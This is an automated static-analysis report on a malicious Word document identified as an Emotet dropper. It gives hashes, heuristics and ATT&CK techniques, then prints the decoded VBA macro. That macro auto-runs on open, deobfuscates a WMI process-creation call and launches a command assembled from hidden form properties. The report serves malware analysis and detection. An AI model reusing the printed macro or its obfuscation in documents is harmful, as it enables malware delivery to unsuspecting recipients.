Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 6b7b40d88b504e60…

MALICIOUS

Office (OLE)

173.2 KB Created: 2020-07-22 13:13:00 Authoring application: Microsoft Office Word First seen: 2020-09-15
MD5: 9f30fc6c676852dfec4a5d5bb23fb92e SHA-1: 02e31210842e29af43115182bbb79dcfccb4586f SHA-256: 6b7b40d88b504e60c8c99d8988c2092cdf4faf48091132c4ef021930829c255f
262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is identified as a malicious OLE document containing VBA macros. The presence of a 'Document_Open' macro and a 'CreateObject' call, combined with a critical heuristic for a 'VBA UserForm hidden-property command stager', strongly indicates an auto-executing macro designed to download and execute a secondary payload. The ClamAV detection explicitly names this as 'Doc.Dropper.EmotetIOS-9402070-0', which is a known Emotet variant.

Heuristics 7

  • ClamAV: Doc.Dropper.EmotetIOS-9402070-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.EmotetIOS-9402070-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 11502 bytes
SHA-256: cdd9f6e85ad85f4d8ee1d03a6f3b1f2a01f4384d3dcbb4fdfc2e44b2f38f5f32
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "mooltounsioth"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
ruuzziogseab
End Sub


Attribute VB_Name = "laiqumoupsoit"
Attribute VB_Base = "0{8BC65486-085B-43A9-83B5-C01ACA543821}{1EB3BA18-019A-490D-8A41-D51E97229F9A}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "yaughoehlaog"
Function ruuzziogseab()
niachkeekleowxar = Chr(laiqumoupsoit.Zoom + Int(3 * 5))
Dim iYmdslQX As Integer
iYmdslQX = 5
Do While iYmdslQX < 5 + 8
iYmdslQX = iYmdslQX + 3: DoEvents
Loop
giomxer = "328hbab239***bhqj62vhvhqwi328hbab239***bhqj62vhvhqnm328hbab239***bhqj62vhvhqgm328hbab239***bhqj62vhvhqt" + niachkeekleowxar + ":328hbab239***bhqj62vhvhqw328hbab239***bhqj62vhvhqin328hbab239***bhqj62vhvhq32328hbab239***bhqj62vhvhq_" + laiqumoupsoit.paijsexchoowbaeg + "r328hbab239***bhqj62vhvhqoc328hbab239***bhqj62vhvhqes328hbab239***bhqj62vhvhqs328hbab239***bhqj62vhvhq"
Dim Em4ápvnne As Integer
Em4ápvnne = 6
Do While Em4ápvnne < 6 + 9
Em4ápvnne = Em4ápvnne + 9: DoEvents
Loop
hoishud = weuvchaeg(giomxer)
Dim uVS8Üe As Long
Set yiathseehgauxsar = CreateObject(hoishud)
Dim UAJ7ÕQ As Integer
UAJ7ÕQ = 9
Do While UAJ7ÕQ < 9 + 4
UAJ7ÕQ = UAJ7ÕQ + 5: DoEvents
Loop
ziqukoanreach = laiqumoupsoit.riezbuav.ControlTipText
Dim IH6ÑbnI As String
IH6ÑbnI = Replace$("biBYTw6Õ", "biBY", "MckQ")
hajpeavxaythip = hoishud + niachkeekleowxar + laiqumoupsoit.doevxauhreeksiov.ControlTipText + ziqukoanreach
Dim G5Ø3ÔkLKA As Integer
G5Ø3ÔkLKA = 2
Do While G5Ø3ÔkLKA < 2 + 3
G5Ø3ÔkLKA = G5Ø3ÔkLKA + 6: DoEvents
Loop
cimyeischuab = hajpeavxaythip + laiqumoupsoit.paijsexchoowbaeg
Dim FHj1Ü As Integer
FHj1Ü = 4
Do While FHj1Ü < 4 + 2
FHj1Ü = FHj1Ü + 5: DoEvents
Loop
Set thoewheuykuuc = ceoththaozsuaw(cimyeischuab)
Dim C5ÕaZP As String
C5ÕaZP = Replace$("NZsnoSoX6âjLgcfJu", "NZsnoSo", "XduChq")
xiopec = Array("NZsnoSoX6âjLgcfJu", yiathseehgauxsar. _
Create(loochqueurbumzuag, jiovzebwoum, thoewheuykuuc), "uYIFXD0ÆHyWk5ÜupdGq")
Dim GZw5ÀOisy As Integer
GZw5ÀOisy = 6
Do While GZw5ÀOisy < 6 + 5
GZw5ÀOisy = GZw5ÀOisy + 7: DoEvents
Loop
End Function
Function ceoththaozsuaw(wuagcoth)
Set ceoththaozsuaw = CreateObject(wuagcoth)
Dim RugsN As String
RugsN = Replace$("uYIFXD0ÆHyWk5ÜupdGq", "uYIFXD0ÆH", "rDYA")
ceoththaozsuaw _
. _
showwindow = (puchwip + xuxbiom) + (sauthteuz + cicheoryain)
Dim hDvm As Object
Dim fSfOKNrdp As Integer
fSfOKNrdp = 7
Do While fSfOKNrdp < 7 + 2
fSfOKNrdp = fSfOKNrdp + 6: DoEvents
Loop
End Function
Function weuvchaeg(louhviev)
yeekcijbet = louhviev
Dim k2ÁtJPgnG As Date
vobchaefseawnuth = Split(yeekcijbet, "328hbab239***bhqj62vhvhq")
Dim qjXwTPSvh As String
qjXwTPSvh = Replace$("KR6ÇZeLj3ÃSC", "KR6ÇZ", "P1ÚQc8Í")
luubnoolyath = we + Join(vobchaefseawnuth, ew)
Dim DHB7ÄqedUU As Integer
DHB7ÄqedUU = 1
Do While DHB7ÄqedUU < 1 + 3
DHB7ÄqedUU = DHB7ÄqedUU + 3: DoEvents
Loop
weuvchaeg = luubnoolyath
Dim SHj3ÓV8Ê As Integer
SHj3ÓV8Ê = 6
Do While SHj3ÓV8Ê < 6 + 3
SHj3ÓV8Ê = SHj3ÓV8Ê + 1: DoEvents
Loop
End Function
Function loochqueurbumzuag()
aqw = laiqumoupsoit.quoaqujim.Pages(1).ControlTipText
Dim vvLfp As Integer
vvLfp = 8
Do While vvLfp < 8 + 9
vvLfp = vvLfp + 4: DoEvents
Loop
loochqueurbumzuag = weuvchaeg(aqw)
Dim eRs As Integer
eRs = 1
Do While eRs < 1 + 3
eRs = eRs + 8: DoEvents
Loop
End Function


' Processing file: /opt/analyzer/scan_staging/9d8f77bbd2654f4fb2944916b0aa8322.bin
' ===============================================================================
' Module streams:
' Macros/VBA/mooltounsioth - 1362 bytes
' Line #0:
' 	LineCont 0x0004 02 00 00 00
' 	FuncDefn (Sub mooltounsioth())
' Line #1:
' 	ArgsCall Document_open 0x0000 
' Line
... (truncated)